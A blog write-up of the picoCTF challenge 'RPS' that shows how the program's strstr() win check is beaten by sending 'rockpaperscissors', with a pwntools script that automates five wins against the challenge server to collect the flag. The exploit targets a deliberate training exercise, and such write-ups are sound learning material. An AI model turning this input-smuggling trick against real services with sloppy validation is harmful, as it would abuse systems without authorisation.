Ulli Weichert/ April 5, 2022/ IT-Security, Write-Ups/ 0Kommentare

RPS

Description

Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.
Connect to the program with netcat:
nc saturn.picoctf.net 53296
The program's source code with the flag redacted can be downloaded here.

Solving

  1. Checking the code (as mentioned in the hint of the challenge)

  2. In the play function we can see, that the program uses the strstr() method to check who wins.
    This is the line in the code

    if (strstr(player_turn, loses[computer_turn])) {
  3. This is the manual of the strstr() method.

    str1
    C string to be scanned.
    str2
    C string containing the sequence of characters to match.
  4. If we send every possible anwser, we should always win 🙂

  5. So you should get the flag if you send: `rockscissorspaper`

  6. Because we dont want to do this on our own, I have a python script to play against the bot.

 #!/usr/bin/env python

from pwn import *

ip, port = "saturn.picoctf.net", 53296
p = log.progress('Working')

p.status("Let me get the flag for you real quick...!")

try:
    s = remote(ip, port)
    for i in range(5):
        p.status("Playing " + str(i+1)+". game!")
        s.recvuntil(b"exit the program")
        s.sendline(b"1")
        s.recvuntil(b"(rock/paper/scissors):")
        s.sendline(b"rockpaperscissors")

    s.recvuntil(b"Congrats, here's the flag!")
    flag =s.recvuntil(b"}").decode('utf-8')
    p.success("Successfully obtained flag.")

except:
    print("Couldn't connect :'( ")
s.close()

print(flag)
print("Bye bye!")
Share this Post

Über Ulli Weichert

2004 fing Ulli bei der Bundeswehr als Ausbilder und IT-Spezialist an. 2011 hat Ulli eine Umschulung zum Fachinformatiker für Systemintegration absolviert und sich auf Linux spezialisiert. 2016 hat Ulli dann bei einem mittelständischem Unternehmen, welches Kunden in ganz Deutschland betreut, als Linuxadministrator angefangen und kümmert sich seither nebst, Netzwerk, Security, Firewall, Storage überwiegend um Linuxthemen aller Art. Seit kurzem hat auch Ihn das Thema Container und k8s erwischt.

Hinterlasse einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

*
*